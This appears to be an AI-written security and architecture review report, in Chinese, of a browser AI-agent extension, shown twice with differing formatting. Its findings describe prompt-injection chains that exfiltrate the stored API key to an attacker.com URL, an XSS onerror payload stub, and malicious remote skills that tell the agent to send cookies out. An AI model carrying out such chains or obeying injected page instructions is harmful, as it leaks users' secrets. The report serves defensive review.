🔍 AI 深度代码审查日报 2026-08-09
仓库: devcxl/browser-agent
新发现: 11 个
由 AI 全面阅读代码后整理(架构 + 安全),已报告过的问题不会重复出现。
🏛️ 架构评估
总体架构:这是一个基于 WXT 框架的浏览器 AI Agent 扩展(Chrome/Firefox MV3),采用"UI 页承载 Agent 逻辑 + Background 仅做薄 RPC 代理"的架构。sidepanel 页面内运行完整的 Agent 循环(ToolLoopAgent/AI SDK)、工具注册表、Guardrail 安全门、会话管理(IndexedDB),通过 runtime.connect Port 与 background 通信;background 侧是 JSON-RPC 2.0 路由器 + 按浏览器 API 拆分的 Proxy 层(tabs/windows/cookies/history/downloads 等 14 个 proxy),再通过 tabs.connect 长连接桥接到 content script(页面内容提取、点击模拟、剪贴板、浮动组件)。工具注册机制是典型的声明式 ToolDefinition(schema + riskLevel + resultSensitivity + preflight),Guardrail 按风险等级分级放行、对远程 Provider 按数据敏感度过滤,设计思路清晰、分层合理,测试覆盖也相当完整(单元 + e2e)。
优点:① 安全模型有明确分层——风险分级(low/medium/high/critical)、敏感数据分级(low/sensitive/critical)并区分"本地可信 Provider"与远程 Provider,cookies/页面内容/截图等敏感工具在远程 Provider 下默认拒绝外发;② 模块划分干净(adapters/proxies 屏蔽跨浏览器差异,tools 按领域目录组织,shared 层类型齐全);③ 消息流统一为 JSON-RPC(请求/响应/通知),有超时与断连清理;④ 内置 skill 系统的 prompt 内容质量高(tab-cleanup 等),且旧 AgentLoop 中 tool_call 序列修复、token 预算截断等细节处理扎实。
主要问题:① 安全决策代码(Guardrail、ToolRegistry、含 API Key 的 storage)全部运行在渲染 LLM 输出的 sidepanel 页面里,且存在特权页面(markdown-viewer)无消毒渲染 LLM/网页可控内容的问题,一旦 XSS 即成完全沦陷;② Guardrail 上下文在"审批时"与"执行时"两处不一致(toolApproval 用真实 Expert Mode/权限,executeTool 硬编码空上下文),导致 Expert Mode 工具在主路径上永远无法执行,也埋下安全上下文分裂的隐患;③ 存在大量由 feature flag 控制的死代码路径(旧 AgentLoop、ChatProviderSDK),其中旧 AgentLoop 完全没有用户确认机制(onConfirm 从未被调用)、SDK Chat Provider 用空注册表和空 Provider 配置,属于会"悄悄复活"的危险债务;④ 权限声明与 README 声称的"Expert Mode 手动启用"不符(privacy/proxy/declarativeNetRequest 为安装即授予的必需权限),且 sidepanel.html 以 <all_urls> 暴露为 web_accessible_resources,任何网站都可 iframe 这个能操控浏览器的聊天 UI;⑤ 数据敏感度分类不完整(storage.local 全量读取被标为 low 且无需确认、书签/历史/标签页 URL 均标 low 直通远程 LLM),结合网页内容 → LLM 的 prompt injection 面,形成多条数据外带链。
发现
[HIGH][安全] markdown-viewer 特权页无消毒渲染 HTML(XSS sink)
说明: 位置: src/entrypoints/markdown-viewer/index.ts:186-188
说明: marked(content) 默认透传原始 HTML(marked v5+ 已移除 sanitize),随后 insertAdjacentHTML 直接插入。markdown 内容来自 page_viewMarkdown 工具(LLM 输出),而 LLM 可被恶意网页内容 prompt injection 操控,因此攻击者可让模型生成 <img src=x onerror=...> 类载荷,在扩展特权页面(可访问全部 browser API)中执行。当前 Chrome/Firefox MV3 默认 CSP(script-src 'self')会阻止内联事件处理器,实际利用受限,但该 sink 无任何消毒层,一旦 CSP 放宽(dev/HMR/未来配置)即为扩展完全沦陷(读 cookies/API Key、删历史等)。
建议: 渲染前用 DOMPurify 消毒,或配置 marked 剥离所有 HTML/事件属性;同时在 viewer 页仅按 viewId 读取受限键并清理,加入 frame-ancestors 等纵深防御。
[HIGH][安全] storage_local_get 可静默读取全部 chrome.storage.local(含 LLM API Key)
说明: 位置: src/tools/misc/misc-tools.ts:89-113(resultSensitivity:'low'、risk:'medium'、无需确认); src/background/proxies/storage-proxy.ts:10-12
说明: keys 缺省时 storage.local.get(undefined) 返回全部存储,而 providers 配置(含 OpenAI/Anthropic 等 apiKey,见 src/shared/types/llm.ts:48)就存在这里。该工具风险等级 medium、敏感度 low → 主路径 toolApproval 直接放行、结果不经过滤发给远程 LLM。攻击链完整:恶意网页 → prompt injection → storage_local_get({}) 拿到 apiKey → tabs_create 打开 https://attacker.com/?k=<key> 外带。storage_local_set/remove 同理可覆盖配置(如篡改 expertModeSettings)或清空全部扩展数据。
建议: 将 storage 工具敏感度升为 critical 并要求确认;在 StorageProxy 层做键白名单/黑名单(禁止读写 providers、agentSettings、skills 等敏感键),或移除"读取全部"能力。
[HIGH][架构] executeTool 中 guardrail 上下文硬编码,与 toolApproval 审批上下文不一致
说明: 位置: src/agent/tool-loop-adapter.ts:404-410(expertModeEnabled: false, expertSwitches: {}, grantedPermissions: [])
说明: 审批阶段(createToolApproval,276-282 行)使用真实的 expertModeSettings/grantedPermissions,但执行阶段 executeTool 每次都用硬编码空上下文重新 check。后果:主路径(useToolLoopAgent=true)下所有 expertOnly 工具(proxy/dnr/debugger/privacy/management)和需要可选权限的工具(clipboard)即使审批通过也在执行时被拒,Expert Mode 实际完全不可用;同时安全上下文出现"审批宽、执行严"的分裂,任何一侧被改动都可能产生绕过或功能静默失效,属于安全模型的可维护性缺陷。
建议: 将 input.expertModeSettings/grantedPermissions 传入并缓存到 adapter 实例,executeTool 复用同一上下文,并加单测断言"审批与执行上下文一致"。
[MEDIUM][安全] 旧 AgentLoop 路径完全缺失用户确认(死代码中的安全漏洞)
说明: 位置: src/agent/agent-loop.ts:388-394(preflight 结果被丢弃后直接 execute); agent-loop.ts:22-27(onConfirm 仅声明从未调用)
说明: hooks.onConfirm 在 AgentLoop 中从未被调用——high/critical 工具(tabs_remove、cookies_remove、history_deleteAll、bookmarks_delete 等)在 preflight 后无确认直接执行。当前 FEATURE_FLAGS.useToolLoopAgent=true 使该路径成为死代码,但 flag 一旦回退或代码被复用,所有高危操作将无确认执行。useAgent.ts:305-443 的旧分支同样存在且无人维护。
建议: 删除旧 AgentLoop 分支及 useAgent 中的对应代码路径(含无用的 onConfirm/confirmResolve 残留),只保留 ToolLoopAdapter 单一路径;或至少在其中实现确认逻辑并加测试断言。
[MEDIUM][安全] 权限声明过度授予 + sidepanel.html 以 <all_urls> 暴露为 web_accessible_resources
说明: 位置: wxt.config.ts:28(privacy/proxy 无条件必需权限)、35-37(declarativeNetRequest 无条件必需)、72-77(web_accessible_resources: sidepanel.html + <all_urls>)
说明: README 声称 proxy/privacy/DNR 是"Expert Mode 手动启用",但 manifest 在安装时即授予这些高敏权限(仅工具被 gate,权限本身常驻);且任何网站都可以 iframe sidepanel.html——这是完整可操控浏览器的聊天 UI,构成 UI redress/钓鱼面,并使"扩展页面 XSS"的利用半径从扩展内部扩展到任意网页(配合 markdown-viewer 问题)。host_permissions <all_urls> 是内容脚本必需,可接受,但 WAR 暴露范围过大。
建议: 将 privacy/proxy/declarativeNetRequest 移入 optional_permissions,仅在用户开启对应 Expert API 时经 permissions.request 申请;WAR 仅保留 logo 图片资源,或给 sidepanel.html 增加 frame-ancestors 'self' CSP 并校验嵌入方 origin。
[MEDIUM][安全] 多类"可被滥用"工具无需确认即可由 LLM 执行
说明: 位置: src/tools/downloads/downloads-tools.ts:40-70(downloads_download medium/无确认); src/tools/tabs/tabs-tools.ts:100-131(tabs_update 可改 URL,medium/无确认); src/tools/windows/windows-tools.ts:77-115(windows_create 支持 incognito:true,medium/无确认); src/tools/misc/misc-tools.ts:30-56(clipboard_write low/无确认)
说明: 这些工具风险等级全部为 medium 以下,主路径 toolApproval 直接放行。结合网页内容喂给 LLM 的 prompt injection 面,攻击者可让模型:下载恶意文件到磁盘(chrome.downloads 自动开始)、把任意标签页导航到钓鱼站、打开隐身窗口、向剪贴板写入恶意内容(剪贴板投毒)。虽然影响逐项有限,但叠加在"浏览器全权 Agent"上属于确认覆盖不足。
建议: downloads_download、tabs_update(带 url)、windows_create(incognito=true) 提升为 high 并要求确认;clipboard_write 至少设为 medium 并记录日志。
[MEDIUM][安全] 远程技能自动启用、无内容预览与大小限制,prompt 直接注入系统提示
说明: 位置: src/entrypoints/sidepanel/components/SkillPanel.tsx:57-68(同步后 enabled: true 自动启用); src/shared/github-skill-fetcher.ts:113-145(递归抓取全部资源文件,无大小上限); src/agent/context-builder.ts:290-297(skill.prompt 拼入 system prompt)
说明: 用户添加任意 GitHub 仓库订阅后,SKILL.md 的 prompt 全文被注入 LLM 系统提示且默认启用;被入侵/恶意的仓库可持续推送更新(再次 sync 即覆盖),可在无用户感知的情况下植入"读取 cookies 并发送到某 URL"类指令(最终受 Guardrail 过滤约束,但已启用技能的注入面是真实存在的)。资源文件无大小限制还可撑爆 IndexedDB/storage,GitHub API 递归扫描也可被深目录结构拖慢。
建议: 首次安装前展示 skill prompt 预览并要求显式启用;限制单文件与总量大小;对远程技能内容在 UI 中标注来源并提示"内容不可信"。
[MEDIUM][架构] 双 Agent 路径 + 功能开关导致行为分叉与危险死代码
说明: 位置: src/shared/feature-flags.ts:3-12; src/entrypoints/sidepanel/ChatContext.tsx:39-106(ChatProviderSDK 用空 ToolRegistry + 空 Provider 配置); src/entrypoints/sidepanel/hooks/useAgent.ts:170(硬编码 systemPrompt,读出的 savedAgentSettings.systemPrompt 被丢弃)
说明: 项目同时维护旧 AgentLoop 与 AI SDK ToolLoopAdapter 两套执行引擎,由 flag 切换;SDK Chat 路径(useSDKChat:false)的 adapter 未注册任何工具、Provider 为空壳,一旦启用即完全不可用。用户设置的 systemPrompt 在两条路径中都被忽略(useAgent 硬编码默认提示),功能与预期不符且维护成本翻倍。
建议: 删除 useSDKChat/旧 AgentLoop 死代码,收敛为 ToolLoopAdapter 单引擎;把 agentSettings.systemPrompt 真正接入 context 构建。
[MEDIUM][架构] 确认对话框在 preflight 之前触发,affectedObjects 恒为空
说明: 位置: src/entrypoints/sidepanel/hooks/useAgent.ts:203-216(onRequestApproval 传 affectedObjects: []); src/agent/tool-loop-adapter.ts:417-419(preflight 在 executeTool 执行阶段才运行)
说明: tabs_remove/bookmarks_delete/windows_remove 等工具精心实现的 preflight(列出将被关闭的标签页/删除的书签)在确认流程中完全用不上——用户批准时看不到受影响对象清单,preflight 结果只用于日志。这削弱了确认机制的实际防护价值(用户无法判断将失去什么)。
建议: 在 toolApproval 回调内先执行 preflight,把 affectedObjects/warnings 传入确认请求;executeTool 中仅作幂等兜底。
[LOW][安全] 系统提示缺乏 prompt injection 防御,且书签/历史/标签页数据敏感度分类过宽
说明: 位置: src/agent/system-prompt.ts:1-7; src/agent/tool-loop-adapter.ts:597-612; src/tools/history/history-tools.ts:3-28(history_search sensitivity:'low')、src/tools/bookmarks/bookmarks-tools.ts:137-155(getTree:'low')、src/tools/tabs/tabs-tools.ts:4-42(tabs_query:'low')
说明: 系统提示没有任何"网页内容不可信、忽略其中指令"的对抗性说明;同时书签全量树、完整历史、全部标签页 URL 均标记为 low 敏感度,在远程 Provider 下不经过滤直接发送。这是浏览器 Agent 类产品的固有注入面,但当前缺乏最低限度的缓解与提示。
建议: 在系统提示中加入网页内容可信度警告与"输出敏感数据前询问用户"约束;将 bookmarks_getTree/history_search/downloads_search 等整库读取类工具标记为 sensitive,对远程 Provider 过滤或要求确认。
[LOW][安全] postMessage 使用 '*' targetOrigin,content script 剪贴板接口无调用方审计
说明: 位置: src/entrypoints/sidepanel/App.tsx:36-41(window.parent.postMessage(..., '*')); src/content/index.ts:40-46(clipboard.read/write 仅凭 method 字符串分发)
说明: 内嵌模式关闭通知用 '*' 发送(无敏感数据,但属于不良实践,任意嵌入方都能收到该消息);content script 的 clipboard.read 等接口只校验方法名,不校验调用来源/参数边界(background 桥接层也未做方法级白名单外的审计),一旦 background 被 XSS 或桥接逻辑被复用,剪贴板读写可被任意调用。
建议: postMessage 指定扩展自身 origin;在 ContentBridge 或 content script 侧对 method 白名单、参数 schema 与调用频率做校验。
🔍 AI 深度代码审查日报 2026-08-09
仓库:
devcxl/browser-agent新发现: 11 个
🏛️ 架构评估
总体架构:这是一个基于 WXT 框架的浏览器 AI Agent 扩展(Chrome/Firefox MV3),采用"UI 页承载 Agent 逻辑 + Background 仅做薄 RPC 代理"的架构。sidepanel 页面内运行完整的 Agent 循环(ToolLoopAgent/AI SDK)、工具注册表、Guardrail 安全门、会话管理(IndexedDB),通过
runtime.connectPort 与 background 通信;background 侧是 JSON-RPC 2.0 路由器 + 按浏览器 API 拆分的 Proxy 层(tabs/windows/cookies/history/downloads 等 14 个 proxy),再通过tabs.connect长连接桥接到 content script(页面内容提取、点击模拟、剪贴板、浮动组件)。工具注册机制是典型的声明式 ToolDefinition(schema + riskLevel + resultSensitivity + preflight),Guardrail 按风险等级分级放行、对远程 Provider 按数据敏感度过滤,设计思路清晰、分层合理,测试覆盖也相当完整(单元 + e2e)。优点:① 安全模型有明确分层——风险分级(low/medium/high/critical)、敏感数据分级(low/sensitive/critical)并区分"本地可信 Provider"与远程 Provider,cookies/页面内容/截图等敏感工具在远程 Provider 下默认拒绝外发;② 模块划分干净(adapters/proxies 屏蔽跨浏览器差异,tools 按领域目录组织,shared 层类型齐全);③ 消息流统一为 JSON-RPC(请求/响应/通知),有超时与断连清理;④ 内置 skill 系统的 prompt 内容质量高(tab-cleanup 等),且旧 AgentLoop 中 tool_call 序列修复、token 预算截断等细节处理扎实。
主要问题:① 安全决策代码(Guardrail、ToolRegistry、含 API Key 的 storage)全部运行在渲染 LLM 输出的 sidepanel 页面里,且存在特权页面(markdown-viewer)无消毒渲染 LLM/网页可控内容的问题,一旦 XSS 即成完全沦陷;② Guardrail 上下文在"审批时"与"执行时"两处不一致(toolApproval 用真实 Expert Mode/权限,executeTool 硬编码空上下文),导致 Expert Mode 工具在主路径上永远无法执行,也埋下安全上下文分裂的隐患;③ 存在大量由 feature flag 控制的死代码路径(旧 AgentLoop、ChatProviderSDK),其中旧 AgentLoop 完全没有用户确认机制(onConfirm 从未被调用)、SDK Chat Provider 用空注册表和空 Provider 配置,属于会"悄悄复活"的危险债务;④ 权限声明与 README 声称的"Expert Mode 手动启用"不符(privacy/proxy/declarativeNetRequest 为安装即授予的必需权限),且
sidepanel.html以<all_urls>暴露为 web_accessible_resources,任何网站都可 iframe 这个能操控浏览器的聊天 UI;⑤ 数据敏感度分类不完整(storage.local 全量读取被标为 low 且无需确认、书签/历史/标签页 URL 均标 low 直通远程 LLM),结合网页内容 → LLM 的 prompt injection 面,形成多条数据外带链。发现
[HIGH][安全] markdown-viewer 特权页无消毒渲染 HTML(XSS sink)
说明: 位置: src/entrypoints/markdown-viewer/index.ts:186-188
说明:
marked(content)默认透传原始 HTML(marked v5+ 已移除 sanitize),随后insertAdjacentHTML直接插入。markdown 内容来自page_viewMarkdown工具(LLM 输出),而 LLM 可被恶意网页内容 prompt injection 操控,因此攻击者可让模型生成<img src=x onerror=...>类载荷,在扩展特权页面(可访问全部 browser API)中执行。当前 Chrome/Firefox MV3 默认 CSP(script-src 'self')会阻止内联事件处理器,实际利用受限,但该 sink 无任何消毒层,一旦 CSP 放宽(dev/HMR/未来配置)即为扩展完全沦陷(读 cookies/API Key、删历史等)。建议: 渲染前用 DOMPurify 消毒,或配置 marked 剥离所有 HTML/事件属性;同时在 viewer 页仅按 viewId 读取受限键并清理,加入
frame-ancestors等纵深防御。[HIGH][安全] storage_local_get 可静默读取全部 chrome.storage.local(含 LLM API Key)
说明: 位置: src/tools/misc/misc-tools.ts:89-113(resultSensitivity:'low'、risk:'medium'、无需确认); src/background/proxies/storage-proxy.ts:10-12
说明:
keys缺省时storage.local.get(undefined)返回全部存储,而providers配置(含 OpenAI/Anthropic 等 apiKey,见 src/shared/types/llm.ts:48)就存在这里。该工具风险等级 medium、敏感度 low → 主路径 toolApproval 直接放行、结果不经过滤发给远程 LLM。攻击链完整:恶意网页 → prompt injection →storage_local_get({})拿到 apiKey →tabs_create打开https://attacker.com/?k=<key>外带。storage_local_set/remove同理可覆盖配置(如篡改 expertModeSettings)或清空全部扩展数据。建议: 将 storage 工具敏感度升为 critical 并要求确认;在 StorageProxy 层做键白名单/黑名单(禁止读写 providers、agentSettings、skills 等敏感键),或移除"读取全部"能力。
[HIGH][架构] executeTool 中 guardrail 上下文硬编码,与 toolApproval 审批上下文不一致
说明: 位置: src/agent/tool-loop-adapter.ts:404-410(
expertModeEnabled: false, expertSwitches: {}, grantedPermissions: [])说明: 审批阶段(createToolApproval,276-282 行)使用真实的 expertModeSettings/grantedPermissions,但执行阶段 executeTool 每次都用硬编码空上下文重新 check。后果:主路径(useToolLoopAgent=true)下所有 expertOnly 工具(proxy/dnr/debugger/privacy/management)和需要可选权限的工具(clipboard)即使审批通过也在执行时被拒,Expert Mode 实际完全不可用;同时安全上下文出现"审批宽、执行严"的分裂,任何一侧被改动都可能产生绕过或功能静默失效,属于安全模型的可维护性缺陷。
建议: 将
input.expertModeSettings/grantedPermissions传入并缓存到 adapter 实例,executeTool 复用同一上下文,并加单测断言"审批与执行上下文一致"。[MEDIUM][安全] 旧 AgentLoop 路径完全缺失用户确认(死代码中的安全漏洞)
说明: 位置: src/agent/agent-loop.ts:388-394(preflight 结果被丢弃后直接 execute); agent-loop.ts:22-27(onConfirm 仅声明从未调用)
说明:
hooks.onConfirm在 AgentLoop 中从未被调用——high/critical 工具(tabs_remove、cookies_remove、history_deleteAll、bookmarks_delete 等)在 preflight 后无确认直接执行。当前 FEATURE_FLAGS.useToolLoopAgent=true 使该路径成为死代码,但 flag 一旦回退或代码被复用,所有高危操作将无确认执行。useAgent.ts:305-443 的旧分支同样存在且无人维护。建议: 删除旧 AgentLoop 分支及 useAgent 中的对应代码路径(含无用的 onConfirm/confirmResolve 残留),只保留 ToolLoopAdapter 单一路径;或至少在其中实现确认逻辑并加测试断言。
[MEDIUM][安全] 权限声明过度授予 + sidepanel.html 以
<all_urls>暴露为 web_accessible_resources说明: 位置: wxt.config.ts:28(privacy/proxy 无条件必需权限)、35-37(declarativeNetRequest 无条件必需)、72-77(web_accessible_resources: sidepanel.html +
<all_urls>)说明: README 声称 proxy/privacy/DNR 是"Expert Mode 手动启用",但 manifest 在安装时即授予这些高敏权限(仅工具被 gate,权限本身常驻);且任何网站都可以 iframe
sidepanel.html——这是完整可操控浏览器的聊天 UI,构成 UI redress/钓鱼面,并使"扩展页面 XSS"的利用半径从扩展内部扩展到任意网页(配合 markdown-viewer 问题)。host_permissions<all_urls>是内容脚本必需,可接受,但 WAR 暴露范围过大。建议: 将 privacy/proxy/declarativeNetRequest 移入 optional_permissions,仅在用户开启对应 Expert API 时经
permissions.request申请;WAR 仅保留 logo 图片资源,或给 sidepanel.html 增加frame-ancestors 'self'CSP 并校验嵌入方 origin。[MEDIUM][安全] 多类"可被滥用"工具无需确认即可由 LLM 执行
说明: 位置: src/tools/downloads/downloads-tools.ts:40-70(downloads_download medium/无确认); src/tools/tabs/tabs-tools.ts:100-131(tabs_update 可改 URL,medium/无确认); src/tools/windows/windows-tools.ts:77-115(windows_create 支持 incognito:true,medium/无确认); src/tools/misc/misc-tools.ts:30-56(clipboard_write low/无确认)
说明: 这些工具风险等级全部为 medium 以下,主路径 toolApproval 直接放行。结合网页内容喂给 LLM 的 prompt injection 面,攻击者可让模型:下载恶意文件到磁盘(chrome.downloads 自动开始)、把任意标签页导航到钓鱼站、打开隐身窗口、向剪贴板写入恶意内容(剪贴板投毒)。虽然影响逐项有限,但叠加在"浏览器全权 Agent"上属于确认覆盖不足。
建议: downloads_download、tabs_update(带 url)、windows_create(incognito=true) 提升为 high 并要求确认;clipboard_write 至少设为 medium 并记录日志。
[MEDIUM][安全] 远程技能自动启用、无内容预览与大小限制,prompt 直接注入系统提示
说明: 位置: src/entrypoints/sidepanel/components/SkillPanel.tsx:57-68(同步后
enabled: true自动启用); src/shared/github-skill-fetcher.ts:113-145(递归抓取全部资源文件,无大小上限); src/agent/context-builder.ts:290-297(skill.prompt 拼入 system prompt)说明: 用户添加任意 GitHub 仓库订阅后,SKILL.md 的 prompt 全文被注入 LLM 系统提示且默认启用;被入侵/恶意的仓库可持续推送更新(再次 sync 即覆盖),可在无用户感知的情况下植入"读取 cookies 并发送到某 URL"类指令(最终受 Guardrail 过滤约束,但已启用技能的注入面是真实存在的)。资源文件无大小限制还可撑爆 IndexedDB/storage,GitHub API 递归扫描也可被深目录结构拖慢。
建议: 首次安装前展示 skill prompt 预览并要求显式启用;限制单文件与总量大小;对远程技能内容在 UI 中标注来源并提示"内容不可信"。
[MEDIUM][架构] 双 Agent 路径 + 功能开关导致行为分叉与危险死代码
说明: 位置: src/shared/feature-flags.ts:3-12; src/entrypoints/sidepanel/ChatContext.tsx:39-106(ChatProviderSDK 用空 ToolRegistry + 空 Provider 配置); src/entrypoints/sidepanel/hooks/useAgent.ts:170(硬编码 systemPrompt,读出的 savedAgentSettings.systemPrompt 被丢弃)
说明: 项目同时维护旧 AgentLoop 与 AI SDK ToolLoopAdapter 两套执行引擎,由 flag 切换;SDK Chat 路径(useSDKChat:false)的 adapter 未注册任何工具、Provider 为空壳,一旦启用即完全不可用。用户设置的 systemPrompt 在两条路径中都被忽略(useAgent 硬编码默认提示),功能与预期不符且维护成本翻倍。
建议: 删除 useSDKChat/旧 AgentLoop 死代码,收敛为 ToolLoopAdapter 单引擎;把 agentSettings.systemPrompt 真正接入 context 构建。
[MEDIUM][架构] 确认对话框在 preflight 之前触发,affectedObjects 恒为空
说明: 位置: src/entrypoints/sidepanel/hooks/useAgent.ts:203-216(onRequestApproval 传
affectedObjects: []); src/agent/tool-loop-adapter.ts:417-419(preflight 在 executeTool 执行阶段才运行)说明: tabs_remove/bookmarks_delete/windows_remove 等工具精心实现的 preflight(列出将被关闭的标签页/删除的书签)在确认流程中完全用不上——用户批准时看不到受影响对象清单,preflight 结果只用于日志。这削弱了确认机制的实际防护价值(用户无法判断将失去什么)。
建议: 在 toolApproval 回调内先执行 preflight,把 affectedObjects/warnings 传入确认请求;executeTool 中仅作幂等兜底。
[LOW][安全] 系统提示缺乏 prompt injection 防御,且书签/历史/标签页数据敏感度分类过宽
说明: 位置: src/agent/system-prompt.ts:1-7; src/agent/tool-loop-adapter.ts:597-612; src/tools/history/history-tools.ts:3-28(history_search sensitivity:'low')、src/tools/bookmarks/bookmarks-tools.ts:137-155(getTree:'low')、src/tools/tabs/tabs-tools.ts:4-42(tabs_query:'low')
说明: 系统提示没有任何"网页内容不可信、忽略其中指令"的对抗性说明;同时书签全量树、完整历史、全部标签页 URL 均标记为 low 敏感度,在远程 Provider 下不经过滤直接发送。这是浏览器 Agent 类产品的固有注入面,但当前缺乏最低限度的缓解与提示。
建议: 在系统提示中加入网页内容可信度警告与"输出敏感数据前询问用户"约束;将 bookmarks_getTree/history_search/downloads_search 等整库读取类工具标记为 sensitive,对远程 Provider 过滤或要求确认。
[LOW][安全] postMessage 使用
'*'targetOrigin,content script 剪贴板接口无调用方审计说明: 位置: src/entrypoints/sidepanel/App.tsx:36-41(
window.parent.postMessage(..., '*')); src/content/index.ts:40-46(clipboard.read/write 仅凭 method 字符串分发)说明: 内嵌模式关闭通知用
'*'发送(无敏感数据,但属于不良实践,任意嵌入方都能收到该消息);content script 的clipboard.read等接口只校验方法名,不校验调用来源/参数边界(background 桥接层也未做方法级白名单外的审计),一旦 background 被 XSS 或桥接逻辑被复用,剪贴板读写可被任意调用。建议: postMessage 指定扩展自身 origin;在 ContentBridge 或 content script 侧对 method 白名单、参数 schema 与调用频率做校验。